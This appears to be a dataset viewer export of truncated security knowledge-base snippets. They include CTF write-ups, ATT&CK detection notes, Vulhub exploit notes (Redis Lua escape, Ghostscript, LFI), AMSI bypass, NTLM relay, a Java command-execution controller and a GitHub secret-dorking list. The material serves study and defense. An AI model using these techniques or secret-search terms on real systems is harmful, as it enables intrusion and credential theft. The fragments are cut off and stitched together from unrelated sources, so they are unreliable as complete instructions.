text
stringlengths
100
9.93M
category
stringclasses
11 values
#!/usr/bin/env python import cgi; import sys from html import escape FLAG = open('/var/www/flag','r').read() OK_200 = """Content-type: text/html <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css"> <center> <title>PyCalx</title> <h1>PyCalx</h1> <form> <input class="for...
sec-knowleage
# T1123-win-使用AudioDeviceCmdlets音频收集 ## 来自ATT&CK的描述 攻击者可以利用计算机的外围设备(例如,麦克风和网络摄像头)或应用程序(例如,语音和视频呼叫服务)来捕获音频记录,以便侦听敏感的对话用以收集信息。 恶意软件或脚本可能用于通过操作系统或应用程序提供的可用API与设备进行交互以捕获音频。音频文件可能会写入磁盘并在以后被泄漏。 ## 测试案例 ### 测试1 using device audio capture commandlet [AudioDeviceCmdlets](https://github.com/frgnca/AudioDeviceCmdlets) ``` powersh...
sec-knowleage
# Sensors (pwn) ###ENG [PL](#pl-version) In the tasks we get access to some web interface of scada-like application. We quickly notice that in `robots.txt` there is `/firmware` so we proceed there and grab binaries for two pwn tasks. For this task we focus on [sensor binary](sensor). The binary has NX, Canary and Forti...
sec-knowleage
# My simple cipher (crypto) In the task we get a simple encryption code: ```python import sys import random key = sys.argv[1] flag = '**CENSORED**' assert len(key) == 13 assert max([ord(char) for char in key]) < 128 assert max([ord(char) for char in flag]) < 128 message = flag + "|" + key encrypted = chr(random.randint...
sec-knowleage
## GuessTheNumber (ppc, 150+80p) The teacher of your programming class gave you a tiny little task: just write a guess-my-number script that beats his script. He also gave you some hard facts: he uses some LCG with standard glibc LCG parameters the LCG is seeded with server time using number format YmdHMS (python s...
sec-knowleage
# login Web, 100 points ## Description > My dog-sitter's brother made this website but I can't get in; can you help? ## Solution We enter the website and see a simple login form: ```html <!doctype html> <html> <head> <link rel="stylesheet" href="styles.css"> <script src="index.js"></script> </he...
sec-knowleage
# Ethereum Overview !!! info CTF 中关于区块链安全的内容,目前为止,涉及到最多的便是 Ethereum 安全。 ## 定义 > Ethereum is a decentralized, open-source blockchain featuring smart contract functionality. Ether (ETH) is the native cryptocurrency of the platform. It is the second-largest cryptocurrency by market capitalization, after Bitcoin. Ether...
sec-knowleage
# cryptoquizz (crypto/misc 50) ###ENG [PL](#pl-version) The task was marked as crypto but it was a misc if anything. In the task the server ask us about a year of birth of some famous cryptographer and after a while sends a flag. We made a script which was taking data from google and wikipedia for this. Since the timeo...
sec-knowleage
原文 by [ysrc](https://mp.weixin.qq.com/s?__biz=MzI4MzI4MDg1NA==&mid=2247483953&idx=1&sn=1c34aba130041bc6f4c6afdaf19eb1c7&chksm=eb8c5688dcfbdf9eb69dcdfb852a1f54b2d6cd02b813dcd8986dbf6731be12dfe22e95b5550e&mpshare=1&scene=1&srcid=0403WX9YzCe0lAeBvICb3pb7#rd) ## 0x00 背景介绍 Linux上的HIDS需要实时对执行的命令进行监控,分析异常或入侵行为,有助于安全事件的发现和预防...
sec-knowleage
# Calculator 5 Points ## Solution We get a page titled "A nice calculator" with an input field saying "Formula e.g. 5*5+1". We can enter a formula and receive the result. A developer message is printed to the developer console: `Loading the code for the Calculator (5 pt) page. To debug this code, open d3wwc.js in Devel...
sec-knowleage
smartmontools === Smartmontools 是一种硬盘检测工具,通过控制和管理硬盘的SMART(Self Monitoring Analysis and Reporting Technology,自动检测分析及报告技术)技术来实现的 ##安装 ```shell sudo aptitude install smartmontools ``` ## 语法 ```shell smartctl (选项) (参数) ``` ## 选项 ```shell -i <硬盘> 显示硬盘设备的标识信息 -a <硬盘> 显示设备的所有SMART信息 -H <硬盘> 显示设备的健康信息 -A <硬盘> 显示设备SMART供应商特定的属性...
sec-knowleage
# PHP文件包含漏洞(利用phpinfo) PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。 参考链接: - https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf ## 漏洞环境 执行如下命令启动环境: ``` docker compose up -d ``` 目标环境是官方最新版PHP7.2,说明该漏洞与PHP版本无关。 环境启动后,访问`htt...
sec-knowleage
version: '2' services: web: image: vulhub/php:xxe volumes: - ./www:/var/www/html ports: - "8080:80"
sec-knowleage
# T1105-Windows Update被发现可滥用于执行恶意程序行为检测 ## 来自ATT&CK的描述 攻击者可能会将工具或其他文件从外部系统转移到被攻陷的环境中。可以通过命令控制通道从外部攻击者控制的系统中复制文件,以便将工具带入被攻陷的网络环境中,或通过与另一个工具(如FTP)的替代协议复制文件。文件也可以在Mac和Linux上使用scp、rsync和sftp等本机工具进行复制。 ## 测试案例 援引外媒Bleeping Computer报道,MDSec研究人员David Middlehurst发现,攻击者可以通过使用以下命令行选项从任意特制的DLL加载wuauclt,从而在Windows 10系统上执行恶意代码: ```...
sec-knowleage
.\" info(5) .\" $Id: info.5 5191 2013-02-23 00:11:18Z karl $ .\" .\" Copyright 1998, 2005, 2011 Free Software Foundation, Inc. .\" .\" Copying and distribution of this file, with or without modification, .\" are permitted in any medium withou royalty provided the copyright .\" notice and this notice are preserved. .\" ...
sec-knowleage
# Redis Lua沙盒绕过命令执行(CVE-2022-0543) Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。 Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象`package`,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。 参考链接: - <https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce> - <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005787> ...
sec-knowleage
# Apereo CAS 4.1 Deserialization RCE Vulnerability [中文版本(Chinese version)](README.zh-cn.md) Apereo CAS is a enterprise single sign-on system. There is an issue in CAS’s attempts to deserialize objects via the Apache Commons Collections library, which cased a RCE vulnerability. Reference: - https://apereo.github.io/...
sec-knowleage
# Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509 Ghostscript is a suite of software based on an interpreter for Adobe Systems PostScript and Portable Document Format (PDF) page description languages. Somehow, Ghostscript is exist in the production server (e.g. `/usr/local/bin/gs` or `/...
sec-knowleage
# 命令执行 ## Runtime {% code title="CommandController.java" %} ```java package com.example.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import java.io.BufferedReader; import...
sec-knowleage
# During CTF we reversed encryption using z3 to solve round-by-round. # # The decryptor below has been implemented after CTF as an excercise. def int64(value): return value & 0xffffffffffffffff def rol64(value, shift): return (value << shift) | (value >> (0x40 - shift)) def key_schedule(key): key_A, k...
sec-knowleage
# Simon and Speck Block Ciphers (Crypto, 100p) ``` Simon_96_64, ECB, key="SECCON{xxxx}", plain=0x6d564d37426e6e71, cipher=0xbb5d12ba422834b5 ``` In the task we get the plaintext, ciphertext and the information what is the encryption. We also get the key with 4 missing characters. It seems like a good target to simply ...
sec-knowleage
sudo === 以其他身份来执行命令 ## 补充说明 **sudo命令** 用来以其他身份来执行命令,预设的身份为root。在`/etc/sudoers`中设置了可执行sudo指令的用户。若其未经授权的用户企图使用sudo,则会发出警告的邮件给管理员。用户使用sudo时,必须先输入密码,之后有5分钟的有效期限,超过期限则必须重新输入密码。 ### 语法 ```shell sudo(选项)(参数) ``` ### 选项 ```shell -b:在后台执行指令; -E:继承当前环境变量 -h:显示帮助; -H:将HOME环境变量设为新身份的HOME环境变量; -k:结束密码的有效期限,也就是下次再执行sudo时便需要输入密码;...
sec-knowleage
### 计算机字母表编码 - A-Z/a-z 对应 1-26 或者 0-25 ### 计算机ASCII 编码 ![ascii](./figure/ascii.jpg) ### ASCII 编码特点 我们一般使用的 ascii 编码的时候采用的都是可见字符,而且主要是如下字符 - 0-9, 48-57 - A-Z, 65-90 - a-z, 97-122 ### 二进制编码(ASCII 编码变形结果) 将 ascii 码对应的数字换成二进制表示形式。 - 只有 0 和 1 - 不大于 8 位,一般 7 位也可以,因为可见字符到 127。 - 其实是另一种 ascii 编码。 ### 十六进制编码(ASCII 编码变形结果) 将 asc...
sec-knowleage
.TH MKFS 8 "Jun 1995" "Version 1.9" .SH NAME mkfs \- 创建一个 Linux 文件系统 .SH 总览 .B mkfs [ .B \-V ] [ .B \-t .I 文件系统类型 ] [ .B fs-选项 ] .I 文件系统 [ .I 块 ] .SH 描述 .B mkfs mkfs 用来在指定设备创建一个 Linux 文件系统, 通常是在硬盘上。 .I 文件系统 既可以是设备名,(如: .IR /dev/hda1 , .IR /dev/sdb2 ) 也可以是文件系统的挂载点,(如: .IR / , .IR /usr , .IR /home )。 .I 块 是指该文件系统用的块数。 .P...
sec-knowleage
#include <stdio.h> unsigned int seed; unsigned char chars[] = "OweOXP1LMO1wYpNFL1IMquJf9dJluPCSlpjp1ySUAK4yHyZnwP116ilx5PYleNNnOyrOMUncLAbn0NNNMNfDn6fK2xT60reDZukMk7JRWUmDMdP1JWIZyfSTaKTizgZ6WpAa7zlXD8iJPSZkYVDAzqHfECkzJn9IzgQt8C1xlkAwXzNfLY9MauJFGsJLC4pAZeiJ96Sd1Kt9jgjFgP1aWJl8t89z0CzkYF4AZqxfucKjznIIZ7QDx3QXlkAw8JNf...
sec-knowleage
# T1583-005-购买基础设施-僵尸网络 ## 来自ATT&CK的描述 攻击者可以购买、租赁或租用一个由被破坏的系统组成的网络,以便在攻击目标过程中使用。僵尸网络是一个由被攻击的系统组成的网络,可以执行下发的任务。攻击者可以从压力测试服务中购买一个现有的僵尸网络。有了僵尸网络,攻击者可以进行后续活动,如大规模网络钓鱼或分布式拒绝服务(DDoS)。 ## 测试案例 僵尸网络 Botnet 是指采用一种或多种传播手段,将大量主机感染bot程序(僵尸程序)病毒,从而在控制者和被感染主机之间所形成的一个可一对多控制的网络。 攻击者通过各种途径传播僵尸程序感染互联网上的大量主机,而被感染的主机将通过一个控制信道接收攻击者的指令,组成一个...
sec-knowleage
#NullByte-1 Workthrough# Scan internal network for target ip address. Finally, we find nullbyte ip address - 192.168.10.32. ## Scan Open Ports ## ``` ┌─[lab@core]─[/tmp] └──╼ nmap -v -n -A -p- 192.168.10.32 Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-28 04:32 UTC NSE: Loaded 118 scripts for scanning. NSE: Script...
sec-knowleage
## SaV-ls-l-aaS SaV-ls-l-aaS (aka. Sign and Verify ls -l as a service) is a task that consists of two independent services. First one is "frontend" written in go. Frontend exposes api for user to interact with, proxying only correct requests to the backend. Backend is a single php file that implements Sign and Verify a...
sec-knowleage
# Integrity (crypto) ##ENG [PL](#pl-version) In the task we get a service: ```python #!/usr/bin/python -u from Crypto.Cipher import AES from hashlib import md5 from Crypto import Random from signal import alarm BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[0:-ord(s[-1])] c...
sec-knowleage
### [第三十一课:msf的前生今世](../Chapter1/31_msf的前生今世.md) ### [第三十二课:配置vps上的msf](../Chapter1/32_配置vps上的msf.md) ### [第三十三课:攻击Mysql服务](../Chapter1/33_攻击Mysql服务.md) ### [第三十四课:攻击Sql server 服务](../Chapter1/34_攻击SqlServer服务.md) ### [第三十五课:与Sqlmap结合攻击](../Chapter1/35_与Sqlmap结合攻击.md) ### [第三十六课:解决vps上ssh掉线](../Chapter1/36_解决...
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH BASENC 1 2022年9月 "GNU coreutils 9...
sec-knowleage
### Ethereum Storage插槽 以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为 2^256 的超级数组中,数组中每个元素称为插槽,其初始值为 0。虽然数组容量的上限很高,但实际上存储是稀疏的,只有非零(空值)数据才会被真正写入存储。 ``` # 插槽式数组存储 ---------------------------------- | 0 | # slot 0 ---------------------------------- | 1 | # slot 1 --...
sec-knowleage
# Vhash (crypto 450p) ###ENG [PL](#pl-version) In the task we get access to a webpage where we can login as guest/guest and as a result we get a cookie containing: `SOME_LONG_HEX_HASH|username=guest&date=2017-02-13T23:45:45+0000&secret_length=8&` We also get to see the [source code](index.php) of the webpage and a [bin...
sec-knowleage
# 图像识别 --- ## 人脸识别 ### face_recognition - https://github.com/ageitgey/face_recognition **模块安装** ```bash apt install -y libboost-all-dev cmake pip install dlib ``` 安装 Face Recognition 库 ```bash pip install face_recognition ``` **准备图片** 创建一个目标目录 ```bash mkdir {face,target} - face 等待识别的人脸图片 - target 是需要识别的目标,一个图片对应一个人,名字不...
sec-knowleage
# 黑灰产形式研究——真人众包类 ## 概念 互联网黑产工具逐渐从单一的半自动、自动化工具,转增真人众包类的模式。真人众包类指的是,黑灰产团伙(众包项目团队)通过发布注册任务,以佣金作为吸引,使参与者自愿提供真人实名认证的相关信息的黑产类型。 从规模上来讲,从永安在线的预估上来看,“真人作弊产业每年产生约20亿元的悬赏金额流水、10亿元完成金额流水,直接对目标平台造成数十亿甚至百亿的损失。”[1] ## 特征 以下梳理真人众包接码各个方面的特征。 ### 隐蔽性强 传统的黑卡由于归属地、号码段聚集,使用形态异常等特征,较为容易被风控模型识别。众包类接码平台中的手机号,来源于一般用户,因此大多具有正常的存续状态以及在在互联网上的使用轨...
sec-knowleage
* [通用类](#通用类) * [I. 代码实现](#i-代码实现) * [1.1 加密算法](#11-加密算法) * [1.1.1 【必须】避免使用不安全的对称加密算法](#111-必须避免使用不安全的对称加密算法) * [1.2 程序日志](#12-程序日志) * [1.2.1 【建议】对每个重要行为都记录日志](#121-建议对每个重要行为都记录日志) * [1.2.2 【建议】禁止将未经验证的用户输入直接记录日志](#122-建议禁止将未经验证的用户输入直接记录日志) * [1.2.3 【建议】避免在日志中保存敏感信息](#...
sec-knowleage
--- title: goofile categories: Information Gathering tags: [information gathering,goofile,kali linux] date: 2017-04-23 06:24:00 --- 0x00 goofile介绍 ------------- 视频介绍:[https://asciinema.org/a/31264][1] 使用此工具可以在给定的域中搜索特定的文件类型。 <!--more--> [goofile主页][2] | [Kali goofile仓库][3] - 作者:Thomas Richards - 证书:MIT 0x01 goofile功能...
sec-knowleage
# 隧道实验 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 应用层 ### WEB隧道 - [sensepost/reGeorg](https://github.com/sensepost/reGeorg) - [L-codes/Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) ### SSH隧道 **相关文章** - [SSH端口转发(本地转发、远程转发、动态转发)](https://www.cnblogs.com/zangfans/p/8848279.html) - [「端口转...
sec-knowleage
strace === 跟踪系统调用和信号 ## 补充说明 **strace命令** 是一个集诊断、调试、统计与一体的工具,我们可以使用strace对应用的系统调用和信号传递的跟踪结果来对应用进行分析,以达到解决问题或者是了解应用工作过程的目的。当然strace与专业的调试工具比如说gdb之类的是没法相比的,因为它不是一个专业的调试器。 strace的最简单的用法就是执行一个指定的命令,在指定的命令结束之后它也就退出了。在命令执行的过程中,strace会记录和解析命令进程的所有系统调用以及这个进程所接收到的所有的信号值。 ### 语法 ```shell strace [ -dffhiqrtttTvxx ] [ -acolumn...
sec-knowleage
package Utils; import sun.reflect.ReflectionFactory; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; @SuppressWarnings ( "restriction" ) public class Reflections { public static Field getField(final Class<?> clazz, final String fieldName) { ...
sec-knowleage
import itertools from multiprocessing import freeze_support from crypto_commons.brute.brute import brute from crypto_commons.generic import bytes_to_long, get_primes, factor_p, multiply, long_to_bytes def encrypt(exp, num, key): assert key >> 512 <= 1 num = num + key blinded_bits = bin(num)[2:][::-1] ...
sec-knowleage
# 0x00 简介 powershell是个强大的工具,早期用起来可以说是为所欲为。但是AMSI(反恶意软件扫描接口)影响着这些。 ![Cobalt Strike ](./img/2.6.1.png) AMSI 它是使用"基于字符串"的检测手段确定是否是恶意程序,powershell强大的功能让我们绕过它相对容易, 因为它可以引用.NET 我们进行简单的字符串反转,base64,xor 等等来绕过,同时powershell判断特征码在那里也很容易。 # 0x01 分析 首先我们打开CS生成powershell代码 >Attacks -> Web Drive-by -> Scripted Web Delivery ![Cobalt S...
sec-knowleage
<?php ob_start(); session_start(); ?> <html> <style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> <head> <link rel="stylesheet" href="assets/omega_sector.css"> <link rel="stylesheet" href="assets/tsu_effect.css"> </head> <?php ini_set("display_errors", 0); include('secret.php');...
sec-knowleage
'\" t .TH "SYSTEMD\-ASK\-PASSWORD" "1" "" "systemd 231" "systemd-ask-password" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~...
sec-knowleage
# Web Gauntlet 3 Category: Web, 300 points ## Description > Last time, I promise! Only 25 characters this time. Log in as admin > > Filtered: or and true false union like = > < ; -- /* */ admin > > Hint: sqlite ## Solution This is a follow-up for [Web Gauntlet 2](Web_Gauntlet_2.md), with a shorter character limit. Luc...
sec-knowleage
#include <stdio.h> #include <stdbool.h> #include <stdarg.h> #include <string.h> uint16_t be2le(uint16_t be) { return (be << 8) | (be >> 8); } #pragma pack(0) struct packet { uint16_t hash; uint16_t magic1; uint16_t conn_id; uint16_t seq_id; uint16_t unk2; uint8_t raw[10000]; } buf; bool d...
sec-knowleage
# Pwn2 Pwn, 356 points ## Description: A binary file was attached, in addition to an address and port. ## Solution: Let's run the binary: ```console root@kali:/media/sf_CTFs/tamu/Pwn2# ./pwn2 Which function would you like to call? test ``` It's not very clear what this does, let's check the disassembly: ``` root@kali:/...
sec-knowleage
as === 汇编语言编译器 ## 补充说明 **as命令** GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。 ### 语法 ```shell as(选项)(参数) ``` ### 选项 ```shell -ac:忽略失败条件; -ad:忽略调试指令; -ah:包括高级源; -al:包括装配; -am:包括宏扩展; -an:忽略形式处理; -as:包括符号; =file:设置列出文件的名字; --alternate:以交互宏模式开始; -f:跳过空白和注释预处理; -g:产生调试信息; -J:对于有符号溢出不显示警告信息; -L:在符号表中保留本地符号; -o:指定要生成的目标文件; --statistics:...
sec-knowleage
import os, numpy, PIL from PIL import Image # Access all PNG files in directory allfiles=os.listdir(os.getcwd()) imlist=[filename for filename in allfiles if filename[-4:] in [".png",".PNG"]] # Assuming all images are the same size, get dimensions of first image w,h=Image.open(imlist[0]).size N=len(imlist) # Create...
sec-knowleage
# Split Category: Miscellaneous ## Description > Oh noes! I've accidentally dropped the file on the desktop and it shattered into pieces... (150x150) Now how am I going to face the manager to publish the movie's poster? :( Please help, I got no backups! A zip file was attached. ## Solution In the zip file, we find 22,5...
sec-knowleage
# Sunset:Decoy > https://download.vulnhub.com/sunset/decoy.ova 靶场IP:`192.168.2.16` 扫描对外端口服务 ``` ┌──(root㉿kali)-[/tmp] └─# nmap -p1-65535 -sV 192.168.2.16 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 10:02 EDT Nmap scan report for 192.168.2.16 Host is up (0.000079s latency). Not shown: 65533 closed tcp ports (r...
sec-knowleage
## Transfer (forensics, 100p, 541 solves) ### PL [ENG](#eng-version) > I was sniffing some web traffic for a while, I think i finally got something interesting. Help me find flag through all these packets. > [net_756d631588cb0a400cc16d1848a5f0fb.pcap](transfer.pcap) Pobrany plik pcap ładujemy do Wiresharka żeby po ch...
sec-knowleage
# 公有云安全 --- **相关案例** - [SummitRoute/csp_security_mistakes](https://github.com/SummitRoute/csp_security_mistakes) - Cloud service provider security mistakes **相关文章** - [云环境下密钥泄露导致的安全问题](https://mp.weixin.qq.com/s/3WQrkxXrZ00VjvrAzaSppA) - [关于云安全渗透](https://evilanne.github.io/2020/02/27/%E5%85%B3%E4%BA%8E%E4%BA%91%E5%AE%...
sec-knowleage
# 一、前言 设计模式是解决问题的方案,学习现有的设计模式可以做到经验复用。拥有设计模式词汇,在沟通时就能用更少的词汇来讨论,并且不需要了解底层细节。 # 二、创建型 - [单例.md](notes/设计模式%20%20-%20单例.md) - [简单工厂.md](notes/设计模式%20-%20简单工厂.md) - [工厂方法.md](notes/设计模式%20-%20工厂方法.md) - [抽象工厂.md](notes/设计模式%20-%20抽象工厂.md) - [生成器.md](notes/设计模式%20-%20生成器.md) - [原型模式.md](notes/设计模式%20-%20原型模式.md) # 三、行为型 - [...
sec-knowleage
# buffer overflow 0 Binary Exploitation, 150 points ## Description: > Let's start off simple, can you overflow the right buffer in this program to get the flag? ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int s...
sec-knowleage
# Flaskcards Skeleton Key Web Exploitation, 600 points ## Description: > Nice! You found out they were sending the Secret_key: 06f4eefabf03b8f4e521fbdada13f65c. Now, can you find a way to log in as admin? ## Solution: We are presented with a Flask-based website which allows us to register and log in. Upon logging in, ...
sec-knowleage
原文 by 乘物游心 ## PHP弱类型简介 在PHP中,可以进行以下的操作: ``` $param = 1; $param = array(); $param = "stringg"; ``` 弱类型的语言对变量的数据类型没有限制,你可以在任何地时候将变量赋值给任意的其他类型的变量,同时变量也可以转换成任意的其他类型的数据。 ### 类型转换问题 类型转换是无法避免的问题。例如需要将GET或者是POST的参数转换为int类型,或者是两个变量不匹配的时候,PHP会自动地进行变量转换。但是PHP是一个弱类型的语言,导致在进行类型转换的时候会存在很多意想不到的问题。 #### 比较操作符 类型转换 在$a==$b的比较中 ``` $a=...
sec-knowleage
dpkg-preconfigure === Debian Linux中软件包安装之前询问问题 ## 补充说明 **dpkg-preconfigure命令** 用于在Debian Linux中软件包安装之前询问问题。 ### 语法 ```shell dpkg-preconfigure(选项)(参数) ``` ### 选项 ```shell -f:选择使用的前端; -p:感兴趣的最低的优先级问题; --apt:在apt模式下运行。 ``` ### 参数 软件包:指定“.deb”软件包。 ### 实例 导入debconf模板: ```shell dpkg-preconfigure /var/cache/apt/archives/m...
sec-knowleage
# T1210-win-异常的SMB链接行为 ## 来自ATT&CK的描述 攻击者一旦进入网络,便可能利用远程服务获得对内部系统的未授权访问。当攻击者利用程序,服务或操作系统软件或内核本身内的编程错误来执行攻击者控制的代码时,就会利用软件漏洞。建立立足点后利用远程服务的目标是横向移动以实现对远程系统的访问。 攻击者可能需要确定远程系统是否处于易受攻击状态,这可以通过网络服务扫描或其他发现方法来完成,以寻找在网络中部署的常见易受攻击软件,检测或包含远程利用的漏洞或安全软件。服务器可能是横向移动中的高价值目标,但是如果端点系统提供访问其他资源的方式,则端点系统也可能处于危险之中。 常见服务(例如SMB和RDP)以及可能在内部网络(例如M...
sec-knowleage
# 操作系统 > 注 : 笔记中拓扑图 drawio 源文件在其图片目录下 --- ## API 差异性 应用程序必须根据不同的操作系统类似专门开发,cpu 的类型不同,所对应机器的语言也不同,同样,操作系统不同,应用程序向操作系统传递指令的途径也不同。 应用程序向系统传递指令的途径称为 API。windows 以及 linux 的 API 提供了应用程序可以利用的函数组合。不同的操作系统的 API 是不同的,要将应用程序移植到不同的操作系统,必须要覆盖所用到的 API 部分。 比如键鼠输入、屏幕显示、文件写入等等同外围设备交互的功能都使用 API 实现。 当然有些应用可以通过虚拟机实现多操作系统运行,如 JAVA,java 的源代...
sec-knowleage
# Istanbul - Bazaar Category: Misc. ## Description > It’s a hot day, and your skin is cracking and dry. It’s difficult to make your way through the crowded bazaar. A high pitch voice pierces through the soundscape from a salesman that’s trying to sell colorful fabrics and then from another corner comes delicious smells...
sec-knowleage
# NTLM中继 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- NTLM hash 分为 NTLMv1 NTLMv2 NTLMv2 session 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是 NTLMv1 的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2,NTLMv2 的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下 NTLM Relay 攻击。 NTLM Relay 中,我们就是要将截获的 Net-NTLM Hash 重...
sec-knowleage
# Flags Cryptography, 200 points ## Description: > What do the flags mean? ![](images/flags.png) ## Solution: At first glance, this looks like a simple substitution cipher. The flag format fits the template, so we can safely assume that the sequence starts with "picoctf". The theory is strengthened by the fact that th...
sec-knowleage
arj === 用于创建和管理.arj压缩包 ## 补充说明 **arj命令** 是 `.arj` 格式的压缩文件的管理器,用于创建和管理 `.arj` 压缩包。 ### 语法 ```shell arj(参数) ``` ### 参数 * 操作指令:对 `.arj` 压缩包执行的操作指令; * 压缩包名称:指定要操作的arj压缩包名称。
sec-knowleage
## Warmup (pwn, 2p) warmup for pwning! Notice: This service is protected by a sandbox, you can only read the flag at /home/warmup/flag We were given small [Linux binary](warmup): ``` warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=c1791030f336fcc9cda1da8dc3a3f8a70d9...
sec-knowleage
# Some Assembly Required 1 Category: Web, 70 points ## Solution We visit the attached website and see the following: ```html <html> <head> <meta charset="UTF-8"> <script src="G82XCw5CX3.js"></script> </head> <body> <h4>Enter flag:</h4> <input type="text" id="input"/> <button onclick="onButtonPress()">Submit</butto...
sec-knowleage
# DNS 配置案例 --- ## 基本配置 - www.abc.com 解析为 192.168.192.1 - 192.168.192.1 解析为 www.abc.com - ftp.abc.com 解析为 192.168.192.2 - 192.168.192.2 解析为 ftp.abc.com ```vim vim /etc/named.rfc1912.zones zone "abc.com." IN { type master; file "z"; allow-update { none; }; }; zone "192.168.192.in-addr.arpa" IN { ...
sec-knowleage
.TH swat 8 "23 Oct 1998" "Samba" .SH NAME swat - 基于web的samba管理工具 .SH 总览 .B swat [ .B -s .I smb config file ] [ .B -a ] .SH 描述 .PP 此程序是 .B samba 套件的一部分。 .PP .B swat 允许 .B samba 管理员通过web浏览器配置复杂的 .BI smb.conf 文件。另外, .B swat 配置页可以帮助管理员检查链接所有在 .BI smb.conf 文件中的可配置项并可以简单地查看任何的改变效果。 .PP .B swat 在 .B inetd 中运行。 .SH 选项 .TP ....
sec-knowleage
atq === 列出当前用户的at任务列表 ## 补充说明 **atq命令** 显示系统中待执行的任务列表,也就是列出当前用户的at任务列表。 ### 语法 ```shell atq [-V] [-q 队列] [-v] ``` ### 选项 ```shell -V:显示版本号; -q:查询指定队列的任务。 ``` ### 实例 ```shell at now + 10 minutes at> echo 1111 at> <eot> job 3 at Fri Apr 26 12:56:00 2013 atq 3 Fri Apr 26 12:56:00 2013 a root ```
sec-knowleage
# T1020-win-自动渗出 ## 来自ATT&CK的描述 攻击者可能会在收集期间通过使用自动处理来渗出数据,例如敏感文件。 当使用自动渗出时,其他渗出技术可能也适用于将信息转移出网络,如通过C2通道渗出和通过替代协议渗出。 ## 测试案例 IcedID Botnet HTTP PUT 创建一个文本文件,试图通过带有ContentType Header的HTTP PUT方法上传到服务器上,删除一个创建的文件 攻击命令,请使用Powershell执行: ``` $fileName = "#{file}" $url = "#{domain}" $file = New-Item -Force $fileName -Value "Th...
sec-knowleage
#include <cstdint> #include <cstdio> // http://tpforums.org/forum/threads/2158-XTEA-Encryption-Decryption-Code/page4 void process_decrypt(uint32_t *v, uint32_t *k){ uint32_t v0 = v[0], v1 = v[1], i, delta = 0x61C88647, sum = 0xC6EF3720; for(i = 0; i < 32; i++){ v1 -= ((v0 << 4 ^ v0 >> 5) + v0) ^ (sum + k[su...
sec-knowleage
dirs === 显示目录堆栈。 ## 语法 ```shell dirs [-clpv] [+N] [-N] ``` ## 主要用途 - 显示目录堆栈。 - 清空目录堆栈。 ## 选项 ```shell -c 清空目录堆栈。 -l 堆栈内以~开头的目录在显示时展开。 -p 将目录堆栈内的每一个目录按行显示。 -v 将目录堆栈内的每一个目录按行显示并在每行前加上堆栈内的位置编号。 ``` ## 参数 +N(可选):不带参数执行`dirs`命令显示的列表中,左起的第N个目录将被显示。(从0开始计数) -N(可选):不带参数执行`dirs`命令显示的列表中,右起的第N个目录将被显示。(从0开始计数) ## 返回值 ...
sec-knowleage
**攻击机:** 192.168.1.4 Debian **靶机:** 192.168.1.2 Windows 2008 目标机安装:360卫士+360杀毒 ```bash [*] 磁盘列表 [ C:D:E: ] C:\inetpub\wwwroot\> tasklist 映像名称 PID 会话名 会话\# 内存使用 ========================= ======== ================ =========== ============ System Idle Process 0 0 24 K System 4 0 372 K smss.exe 236 0 956 K csrss.exe 32...
sec-knowleage
.\" -*-Nroff-*- .\" This page Copyright (C) 1993 Matt Welsh, mdw@sunsite.unc.edu. .\" Freely distributable under the terms of the GPL .TH FREE 1 "20 Mar 1993 " "Cohesive Systems" "Linux User's Manual" .SH NAME free \- 显示系统中已用和未用的内存空间总和. .SH 总览 (SYNOPSIS) .BR "free " [ "\-b" " | " "\-k" " | " "\-m" "] [" "...
sec-knowleage
# GitHub Dorking ## List - 0dysAuQ5KQk= - 0GITHUB_TOKEN= - 0HB_CODESIGN_GPG_PASS= - 0HB_CODESIGN_KEY_PASS= - 0KNAME= - 0NC6O0ThWq69BcWmrtbD2ev0UDivbG8OQ1ZsSDm9UqVA= - 0PUSHOVER_TOKEN= - 0PUSHOVER_USER= - 0PYg1Q6Qa8BFHJDZ0E8F4thnPFDb1fPnUVIgfKmkE8mnLaQoO7JTHuvyhvyDA= - 0VIRUSTOTAL_APIKEY= - 0YhXFyQ= - 1ewh8kzxY= - 1LRQz...
sec-knowleage
